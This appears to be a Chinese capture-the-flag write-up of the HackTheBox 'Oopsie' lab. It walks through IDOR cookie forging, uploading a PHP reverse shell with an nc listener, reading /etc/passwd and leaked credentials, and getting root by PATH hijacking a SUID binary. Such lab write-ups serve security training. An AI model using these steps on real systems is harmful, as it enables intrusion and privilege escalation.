TIER 2: Oopsie
Web 渗透
此次靶机结合前面知识,非常简单:
- nmap 扫描,发现 22 和 80 端口开放
- 服务 80 的 HTTP 服务
之后使用继续 Web 渗透:
- 使用 Wappalyzer 查看网站使用的技术栈
- 查看当前页面源码,重点观察其中的链接
- 如果没有进一步线索,进行目录爆破,寻找隐藏目录
寻找到目标站点根目录 /cdn-cgi/login/
和 /uploads/
子目录,amdin 应该足够有吸引力不是吗?
- 使用开发者工具,看其中表单、链接、请求、响应等信息。
- 在登录页面中存在游客登录,我们先不急于使用爆破获取密码,而是继续收集信息。
- 游客登录后,必然存在某种机制确认我们的身份,我们重点使用开发者工具查看请求和响应信息。可以发现目标是通过 Cookie 确认我们身份。并且 在页面的标签页 Uploads 选项卡上需要 admin 身份才能访问。
- 在页面链接中,对应页面的标签页 Account 选项卡,点击后发现页面内容是我们的 Cookie 一致,而页面链接是
http://10.129.161.131/cdn-cgi/login/admin.php?content=accounts&id=2
说明在链接查询部分content=accounts&id=2
会获取不同信息,通过爆破id
这种纯粹数值的参数,我们可以获取到其他用户的 Cookie,通过在开发者工具中修改 Cookie,我们可以伪造身份登录。
在 admin 身份登录后,尝试利用 http://10.129.161.131/cdn-cgi/login/admin.php?content=uploads
进行文件上传,在上传漏洞利用中推荐 webshells 项目:
- 项目地址:https://github.com/BlackArch/webshells/
- 我们选用
php/php-reverse-shell.php
进行上传,注意修改其中的 IP 和端口与自己的 Kali 主机一致。 - 在 kali 上设置监听端口
nc -lvnp 4444
,但是目前有一个问题,我们不知道上传文件位置,记着之前的/uploads/
或许可以尝试访问http://10.129.161.131/uploads/php-reverse-shell.php
,观察监听是否有变化,当然这次是成功的。 - 巩固 shell 连接,使用
python3 -c 'import pty;pty.spawn("/bin/bash")'
增强 shell 交互性。
提权
登录后,两点需要注意:
- 查看自己当前的权限,使用
id
命令 - 查看
/etc/passwd
文件,确认系统中存在哪些用户
好,我们继续攻击,我们先看一下我们之前攻击的 Web 服务是怎样的一个程序,之前的 Wappalyzer 确认目标是 Apache,使用我们到 /var/www/html/
目录下的站点康康这个程序怎样运行。
- 在 admin.php 中发现 amdin 用户密码
MEGACORP_4dm1n!!
,重点在/var/www/html/cdncgi/login
目录,在其中有一个db.php
文件。我们知道 LMAP 中 PHP 想要与 MySQL 数据交换,需要 MySql 的账号和密码。 - 两个思路进攻 MySQL 提权或者通过当前密码尝试之前在
/etc/passwd
中发现的 robert 用户。
这次非常幸运,我们成功使用 db.php 中的密码登录了 robert 用户,现在我们知道用户和密码,那么我们使用 SSH 继续登录,进一步巩固我们的权限。同时在此用户的家目录可以发现第一个 flag 文件。
对于这个新用户,我们登录后查看当前权限,发现一个特别的 1001(bugtracker)
组信息
- 针对这个不同组信息收集我们
find / -group bugtracker 2>/dev/null
命令后发现/usr/bin/bugtracker
文件 - 我们使用
ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker
两段命令查看其状态,发现它执行时有 root 权限,这由于 SUID 设置导致的。
我们执行一下看看 /usr/bin/bugtracker
功能,这个执行发现它会执行 cat
查看文件。那么我们是否可以通过改 PATH 变量,让它使用错误的 cat
命令,用我们自己写的假 cat
替代:
- 命令
echo '/bin/sh' > /tmp/cat
,我们在/tmp
目录创建一个文件,因为此目录权限特殊性。 - 使用
export PATH=/tmp:$PATH
让系统错误识别cat
的位置,转而使用我们写的假cat
命令。 - 执行
/usr/bin/bugtracker
查看是否生效。
当然我们最后的结果是成功的,使用 id
确认身份,最后的 flag 在 root 根目录。